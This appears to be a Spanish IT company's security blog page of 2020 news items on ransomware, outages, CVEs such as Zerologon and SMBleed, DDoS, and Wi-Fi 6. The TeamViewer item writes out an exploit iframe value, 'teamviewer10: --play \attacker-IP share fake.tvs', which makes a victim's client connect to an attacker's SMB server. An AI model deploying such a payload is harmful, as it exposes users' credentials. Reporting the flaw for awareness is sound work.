Posts in Seguridad

En este 2020 según el CNI los ataques calificados como muy graves se han duplicado. «Los ciberdelincuentes están aprovechando el crecimiento de las compras online realizadas durante estos días con motivo del Black Friday y Cyber Monday para recopilar información personal y bancaria de los compradores más ingenuos», ha alertado Dani Creus, analista senior de Seguridad del equipo de Investigación y Análisis (GReAT) de Kaspersky. La pandemia y el confinamiento total de principios de año han disparado el consumo de internet en España. Un aumento del uso de dispositivos conectados que ha llevado aparejado un importante aumento de los ataques en la Red. Según ha revelado esta semana el Centro Criptológico Nacional, los incidentes en el ciberespacio detectados por el CNI con el baremo de riesgo muy alto han duplicado ya a los registrados en 2019, mientras que los ataques críticos han superado también a los del pasado año.

El problema ha afectado especialmente a Europa, pero también a algunas zonas de EE UU, India o Japón. Los principales servicios de Alphabet (Google, Gmail, Youtube y el servicio de almacenamiento en la nube) han registrado este lunes una caída de unos 40 minutos en todo el mundo, según la web Downdetector, especializada en rastrear fallos en sistema. La gran implantación de los productos de Google ha provocado que este fallo haya afectado a muchas empresas a lo largo del orbe. Desde universidades a firmas financieras o medios de comunicación. También el juego Pokémon GO ha sufrido interrupciones porque depende del sistema de mapas de Google. Google, en su «Workspace Status Dashboard», un panel en el que monitorea el estado de sus productos, fue avisando que cada uno de los problemas «debería estar resuelto para la mayoría de los usuarios afectados». La empresa, con sede en Mountain View (California), fue repitiendo ese mismo mensaje para todos los productos afectados: su correo Gmail, el popular portal de vídeos de internet Youtube, el servicio de alojamiento de archivos Google Drive y la plataforma que usan las clases para la enseñanza por internet, Google Clasroom. Ahora bien, ¿podemos vivir sin Google?

Sopra Steria se une a la larga lista de empresas víctimas de ransomware. La empresa francesa de servicios digitales ha anunciado que ha sufrido un ciberataque durante la noche del 20 de octubre de 2020. Estas mismas fuentes nos indican que la variante del ransomware responsable del ataque ha sido Ryuk y que le vector de ataque ha sido una campaña de phishing dirigida. Estos dos datos están pendientes de ser confirmados. Actualmente los equipos del grupo están trabajando para que la compañía recupere la normalidad, dentro de lo posible. Sin embargo, la empresa no ha proporcionado ningún dato del ransomware cuando se le preguntó. Con referencia a sus propias fuentes, los dominios de la empresa fueron pirateados utilizando el ransomware Ryuk. Aún no se conoce el alcance del cifrado y la cuestión de si la información también se extrajo de antemano. Sopra Steria se ve a sí misma como una consultora líder y tiene casi 50.000 empleados. Sopra Steria es una empresa importante para impulsar la transformación de sus clientes.

WiFi 6 es y será la próxima generación de WiFi, pero con muchas más ventajas sobre el estándar actual, especialmente en lo que se refiere a la conexión de dispositivos de manera simultánea y la velocidad de conexión. Más alcance y cobertura incluso en espacios saturados: El avance que consigue es gracias, en parte, a su modulación 1024-QAM, lo que permite que en un determinado ancho de banda se pueda enviar más cantidad de información por símbolo que con los protocolos WiFi anteriores. Esto es especialmente interesante en escenarios de alta densidad de conexiones a una red WiFi, que es donde el nuevo estándar espera poder incrementar en 4 veces el rendimiento promedio por usuario respecto al anterior. Lo verdaderamente interesante en la futura WiFi 6 no está pues en la velocidad máxima por dispositivo sino en la mejora global que experimentarán los usuarios en situaciones cada vez más habituales y donde queremos tener muchos dispositivos conectados a la misma red WiFi. Incluso en el hogar. También habrá mejora en la latencia, que será mucho menor, y por supuesto en la seguridad, al estar preparada para usar WPA3. Otra característica importante de la nueva WiFi 6 es que, al contrario que la WiFi 5 o 802.11 ac, el nuevo estándar puede operar tanto en la frecuencia de 2,4 Ghz como en la de 5 Ghz. La actual WiFi 5 puede hacerlo también pero en realidad lo consigue «tomando» la banda de los 2,4 Ghz del protocolo 802.11 an. Menos consumo para los dispositivos conectados: Otro factor a tener en cuenta es la autonomía de los dispositivos. De esa mejora se se encarga la tecnología Target Wake Time (TWT) con este funcionamiento, los dispositivos pueden mantenerse en modo de reposo (y ahorrar energía) hasta que llegue su momento fijado y negociado.

El pasado 11 de septiembre era cuando se daba a conocer que la aseguradora Adeslas había sido víctima de un ciberataque el cual había «bloqueado» sus sistemas, dejando a la compañía inoperativa o con un funcionamiento a medias. En ese momento se dio la información muy escueta, sin entrar en detalles del nivel de gravedad del asunto. Ahora, más de tres semanas después, el problema sigue sin resolverse. Según informa otro medio, «Adeslas ha sido víctima de uno de los temidos ransomware que ya han afectado a muchísimas otras instituciones y ahora han metido en serios problemas a esta gran empresa«. Las consecuencias que ha tenido este ciberataque se pueden apreciar a simple vista tanto en la web como en los perfiles de redes sociales de la aseguradora. Fuentes de SegurCaixa Adeslas han confirmado a MERCA2 el ataque a la par que están trabajando en la solución del mismo. “Se ha activado el plan de contingencia y se está trabajando para solucionar los efectos”, han matizado. Desde Caixabank han confirmado a su vez que no ha afectado a la entidad financiera, solo a SegurCaixa Adeslas. Un ataque de Ransomware es una forma de malware que bloquea los archivos o dispositivos de los usuarios y luego reclama un pago online anónimo. Los ataques Ransomware han aumentado un 160% en España en los últimos 3 meses. “Las organizaciones de todo el mundo se encuentran en medio de una ola masiva de ataques Ransomware. A medida que estos ataques crecen tanto en frecuencia como en intensidad, su impacto en los negocios aumenta exponencialmente tanto, que hay una víctima afectada cada 10 segundos”, señala Mario García, director general de Check Point para España y Portugal. “El Ransomware está rompiendo récords en este 2020, sobre todo como consecuencia de la llegada del coronavirus y el teletrabajo. Desde TLC Sistemas y Teloconfiguro, abogamos por una inversión en medidas de seguridad empresariales.

Es un fallo de seguridad que afecta a los usuarios de Windows Server. La empresa de ciberseguridad Secura fue quien le puso el nombre de vulnerabilidad Zerologon, que en caso de ser utilizada por un ciberdelincuente, podría conseguir privilegios de administrador sobre un dominio y tener el control total sobre este. CVE-2020-1472 es una vulnerabilidad de elevación de privilegios que existe en MS-NRPC. Netlogon es un componente de autenticación central de Microsoft Active Directory. Además, Netlogon es un servicio proporcionado por controladores de dominio para proporcionar un canal seguro entre un ordenador y el controlador de dominio. La vulnerabilidad Zerologon se le ha asignado una clasificación CVSS de 10. Hay que señalar que esta puntuación es la máxima clasificación de gravedad posible para un fallo de software, lo cual indica su gravedad. En caso de no aplicar dicho parche, estamos dejando nuestros activos más críticos desprotegidos de una amenaza real. Además, podemos afirmar que no se trata de un error teórico ya que los atacantes pueden utilizarlo de manera activa contra las empresas. Es por ello que desde Servidores por Piezas y TLC Sistemas, recomendamos tener siempre los equipos actualizados.

Hoy os tenemos que informar de una vulnerabilidad detectada sobre TeamViewer, la cual permitiría que un posible intruso accediera a ese ordenador sin dejar rastro y así poder llevar a cabo diferentes tipos de ataques, como conseguir datos del mismo, copia ficheros, etc… Es una realidad que en muchas ocasiones surgen fallos de seguridad que afectan a todo tipo de software que utilizamos en nuestro día a día. Pueden comprometer nuestra privacidad y poner en riesgo los dispositivos. Estas vulnerabilidades generalmente reciben actualizaciones por parte de los desarrolladores. Desde TeamViewer nos han informado de que se ha lanzado un parche para corregir este importante fallo. La vulnerabilidad ha sido registrada como CVE-2020-13699 y ha sido calificada de alta gravedad. Para ejecutar un ataque, un usuario necesitaría navegar a una página maliciosa que carga un iframe en el navegador web, posiblemente oculto o tan pequeño como un píxel, para evitar ser visto por un intruso. El iframe se carga a sí mismo usando el esquema de URI «teamviewer10:», que le dice al navegador que inicie la aplicación TeamViewer instalada en el equipo. Estos esquemas de URI personalizados son utilizados por aplicaciones instaladas localmente que permiten al usuario iniciarlos desde su navegador. Por ejemplo, las URL que comienzan con «skype:» en el navegador iniciarían Skype. Otras aplicaciones de uso común como Slack, Zoom y Spotify usan estructuras similares. Lo que haría el atacante para aprovechar esta vulnerabilidad de TeamViewer, es establecer el atributo src del iframe en ‘teamviewer10: –play \ attacker-IP share fake.tvs’. Este comando lo que hace es que la aplicación de TeamViewer que esté instalada se conecte al servidor del atacante a través del protocolo SMB.

El servicio de servidores y centros de datos de Amazon, más conocido como AWS o Amazon Web Services, ha sufrido un ataque DDoS (Ataque de denegación de servicio) en febrero de este año. El ataque, publicado ahora por la propia Amazon, supuso un pico de volumen de tráfico de nada más y nada menos que 2,3 Tbps, es decir, 2,3 Terabits por segundo, o lo que es lo mismo 2.300 Gb de datos cada segundo. Se trata, según la compañía, del mayor ataque DDoS jamás registrado en la historia de la informática y, a pesar de ello, parece que el sistema de seguridad AWS Shield fue capaz de proteger a los servidores y sus clientes del ataque. Ya que ninguno de sus servicios se vio comprometido. Los ataques DDoS, que ya han sufrido otras empresas internacionales, o incluso datacenters como ovh, se basan en lanzar multitud de peticiones y tráfico hacia un objetivo, generalmente basándose en enormes redes de bots o PCS y otros dispositivos infectados) para saturar los servidores e infraestructuras del objetivo hasta que dejan de funcionar. Cada vez se mitigan más ataques DDoS Sin embargo, los ataques DDoS han estado de capa caída en los últimos años debido a que la mayoría de operadores, CDN y otros servicios relacionados con Internet han implementado nuevos mecanismos para mitigar el efecto de estos ataques, y sobre todo asegurándose de que los sistemas vulnerables a memcached no sean accesibles. La mayoría de ataques DDoS que han tenido lugar en 2020 han generado un tráfico de alrededor de 500 Gbps. En el primer trimestre, Link11 recibió uno de 406 Gbps. Cloudflare recibió uno en el mismo periodo de 550 Gbps. El más reciente, mitigado por Akamai este mismo mes, fue de 1,44 Tbps. Sin embargo, esas cifras siguen siendo muy poco comunes, ya que la mayoría de estos ataques suelen ser de media de 5 Gbps. Cloudflare afirma que el 92% de los ataques DDoS que mitigaron en el primer trimestre del año eran inferiores a 10 Gbps, y el 47% eran incluso más pequeños con sólo 500 Mbps.

A principios de este mes, la organización sin fines de lucro Reporteros sin Fronteras creó «La biblioteca sin censura» dentro del videojuego Minecraft. La idea era usar la biblioteca, que vive en un servidor abierto en el Minecraft mundo, para albergar libros llenos de información que han sido censurados en países de todo el mundo. Para esta proeza, se han usado 24 constructores de 16 países diferentes para diseñar y crear la biblioteca. Para proteger el trabajo de periodistas en lugares donde los gobiernos autoritarios censuran habitualmente a los medios independientes y no tanto, la organización sin fines de lucro «Reporteros sin Fronteras» ha implementado una nueva biblioteca virtual impresionante, alojada en el mundo del popular videojuego «Minecraft«. Los jugadores de todo el mundo ahora pueden acceder a tesoros de libros digitales dentro de The Uncensored Library. Cada libro contiene artículos censurados en su país de origen. Los usuarios pueden leer las historias, pero no pueden cambiarlas. Reporteros sin Fronteras agregará más libros a la biblioteca a medida que los gobiernos continúen censurando los informes. Ahora bien, nos encontramos con un problema potencial: los ciudadanos podrían ser identificados por sus nombres de usuario en Minecraft, y sus registros de actividad demostrarían que habrían podido visitar la biblioteca. Es dudoso, por supuesto, que la compañía matriz Microsoft voluntariamente entregue esta información, pero aún es algo a considerar.

Google ha lanzado una herramienta completamente gratuita que nos permitirá realizar un avanzado escáner de seguridad, su nombre es «Tsunami« y tiene como objetivo el detectar vulnerabilidades críticas en diferentes equipos. Pero ¿En qué consiste y cómo podemos usarlo?, desde aquí os vamos a dar unas nociones básicas de ello. La herramienta publicada por Google se centra en dos principales tareas: Reconocimiento: el primer paso que realiza Tsunami es detectar puertos abiertos, después trata de identificar los protocolos, servicios, y otro software que se ejecuta en el host de destino. Tsunami hace uso de la potente herramienta Nmap para realizar esta tarea, ya que es simplemente el mejor escáner de redes, host y puertos abiertos que podemos utilizar. Concretamente, hace uso de Nmap 7.80. Verificar la vulnerabilidad: basándose en la información recogida anteriormente, Tsunami selecciona todos los plugins que tengamos para identificar los servicios. Para confirmar que realmente existe, Tsunami ejecuta un exploit para comprobar si realmente funciona. ¿Qué es Nmap? Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos. Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática, para ello Nmap envía unos paquetes definidos a otros equipos y analiza sus respuestas.

SLS, una nueva variante de Spectre Según noticias reconocidas por la propia ARM en un documento técnico publicado en estos días, SLS es poco más que una variante de Spectre que eso sí, solo afectaría a los procesadores ARM-A. En los procesadores que sufren esta vulnerabilidad, mientras se desarrollan las operaciones de computación por adelantado como parte del proceso de ejecución especulativa, cuando hay un cambio en el flujo de control de instrucciones de la CPU, esta reacciona ejecutando las instrucciones que se encuentran linealmente en su memoria, lo que permitiría a un atacante inyectar malware y tomar el control de la máquina. La buena noticia sin embargo es que según el fabricante de chips, la probabilidad de que algo así pueda llegar a pasar, es «bastante baja». Como explican en su documento, «en la práctica, esta es una vulnerabilidad bastante difícil de explotar, y una explotación práctica aún no ha sido demostrada. Sin embargo, no hay que descartar por completo esta posibilidad». Al mismo tiempo, la compañía está trabajando el desarrollo de parches que corrijan este problema en los principales sistemas operativos, incluidos algunos con tan poca cuota de mercado como FreeBSD y OpenBSD. Una vez aplicados, estos parches serían capaces de parar ese tipo de ataques a nivel de firmware. Además y a diferencia con lo que ocurre con Spectre y Meltdown, instalar los mismos no afecta al rendimiento de las máquinas.

Recientemente un grupo de investigadores de seguridad, han localizado una vulnerabilidad crítica que afecta al protocolo SMB deWindows, el cual nos permite compartir archivos e impresoras a través de nuestra red de equipos, usando el puerto TCP 445. En nuestro caso SMBleed permite a los atacantes leer la memoria del núcleo de forma remota, combinada con un «Exploit» permite hacer una crash del sistema, pasando por elevación de privilegios, todo ello se produce como siempre a los incautos que tienen sus equipos des-actualizados. SMBleed, un error crítico que afecta al protocolo SMB en Windows Ha habido muchos exploits que se aprovechan de vulnerabilidades en este protocolo. Por ejemplo EternalBlue, uno de los más conocidos y que fue utilizado para colar el ransomware WannaCry, era un fallo presente en el protocolo SMB. Este hallazgo ha sido registrado por la empresa de seguridad informática ZecOps como CVE-2020-1206. Las actualizaciones de software no son un fastidio. Al contrario, son esenciales para mantener la seguridad de nuestros dispositivos. Debemos ser conscientes de que en nuestros dispositivos también hay instalados navegadores, programas, plugins, etc. que por supuesto, también necesitan ser actualizados para mantenerlos al día y bien protegidos.

Los mapas de ciberataques a nivel mundial, son una manera visual muy eficaz para concienciar sobre el número y tipología de ciberataques que tienen lugar a nivel global. La concienciación en ciberseguridad es un reto constante y estos mapas interactivos de ciberataques pueden ser un gran aliado. Estos mapas de ciberataques no ofrecen los datos en tiempo real. En realidad, son un conjunto de ataques cibernéticos grabados o, en ocasiones, un duplicado de capturas de paquetes de datos sospechosos detectados o desinfectados. En este artículo os mostramos unos ejemplos de los cinco mapas que entendemos son los más destacados, para concienciar que la seguridad informática no tiene descanso y los criminales menos. 1.- KASPERSKY: Posiblemente es la excelencia de los mapas interactivos de ciberataques, recordando a Google Earth girando según nuestras necesidades. https://cybermap.kaspersky.com 2.-FORTINET: Muestra un duplicado de los ataques grabados. No siendo el más atractivo visualmente, tiene algunas características que lo hacen muy interesante. Por ejemplo, a medida que se van sucediendo los ataques, aparecen diferentes estadísticas de forma rotativa en la parte inferior izquierda de la pantalla. https://threatmap.fortiguard.com 3- DETEQUE: Muestra las amenazas de botnets. Este mapa muestra las ubicaciones de las IP de los servidores que se usan para controlar los ordenadores infectados con algún Malware. Además, informa de cuáles son los países con más botnets y del número de bots activos en las últimas horas. https://www.spamhaustech.com/threat-map/ 4- FIREEYE: Este mapa con colores llamativos y con los típicos cuadros de datos, totalmente diferente a los tres anteriores, mostrando como curiosidad las primeras cinco industrias más amenazadas del último mes. https://www.fireeye.com/cyber-map/threat-map.html

¿De dónde salió esta filtración? La procedencia de esta copia de iOS 14 no se conoce aún, pero la teoría más probable en estos momentos es que proviene del iPhone 11 de un desarrollador de Apple, que habría sido vendido en China por miles de dólares. El móvil en sí es un iPhone 11 normal y corriente, pero en vez de ejecutar iOS 13, tiene una versión preliminar de iOS 14. Una vez más podemos comprobar, que la seguridad, es uno de los valores a tener en cuenta por todos, las empresas, los usuarios y los organismos. La piratería informática se ha visto incrementada estos últimos meses con motivo de la pandemia por el COVID-19.

Los ingenieros de desarrollo de Google están llegando a la conclusión de que los problemas de seguridad de su navegador desde el año 2015 vienen por la gestión de memoria y la administración de la misma por parte del buscador, en concreto aproximadamente el 70%, vulnerabilidades que podríamos considerar como de gravedad, estando entre críticas o altas. De igual manera este problema lo tiene Microsoft, abordando estas vulnerabilidades de seguridad de la memoria. Ambas compañías con el mismo problema, un problema que tiene su tiempo y se llama C y C++, dos lenguajes de programación que predominan en su código, considerados como lenguajes “Inseguros”, viejas herramientas creadas hace décadas, cuando la seguridad informática no era una amenaza.

¡Alerta de seguridad!: Ataque organizado a sitios WordPress a través de plugins. Según nos han comunicado, el pasado 29 de abril de 2020, se han encontrado varios fallos en la seguridad de tres plugins. LearnPress LearnDass LifterLMS Dado que está de moda una creciente demanda del «eLearning», los complementos para WordPress que permiten la creación de este tipo de plataformas de enseñanza o aprendizaje a distancia, se han multiplicado. Los sistemas de gestión de aprendizaje son plataformas de aprendizaje electrónico utilizadas para impartir cursos educativos y programas de formación de forma remota. No solo los estudiantes universitarios usan «LMS»; Es para cualquier persona interesada en el aprendizaje en línea. Tres de los plugin de «eLearning» más usados, han sido encontrados con fallos en su programación, que puede afectar en grados diferentes a la seguridad tanto de los usuarios, como de los servidores que usen estos plugin. Los tres plugin de WordPress pueden convertir cualquier sitio web en un «LMS» totalmente funcional y fácil de usar. Los 3 sistemas se instalan en más de 100.000 plataformas educativas diferentes e incluyen universidades como la Universidad de Florida, la Universidad de Michigan, la Universidad de Washington y cientos de academias en línea. El impacto se multiplica ya que afecta a todos los estudiantes en todos estos establecimientos. Según la empresa de seguridad que ha descubierto los agujeros, «Los LMS que investigamos invirtieron bastante esfuerzo en su seguridad y algunos incluso implementaron un programa de recompensa por errores. Y de hecho, los errores que encontramos no eran triviales y requerían de inmersiones interesantes. Por lo tanto, además de notificar a los desarrolladores, también decidimos compartir algunos de ellos con la comunidad de seguridad».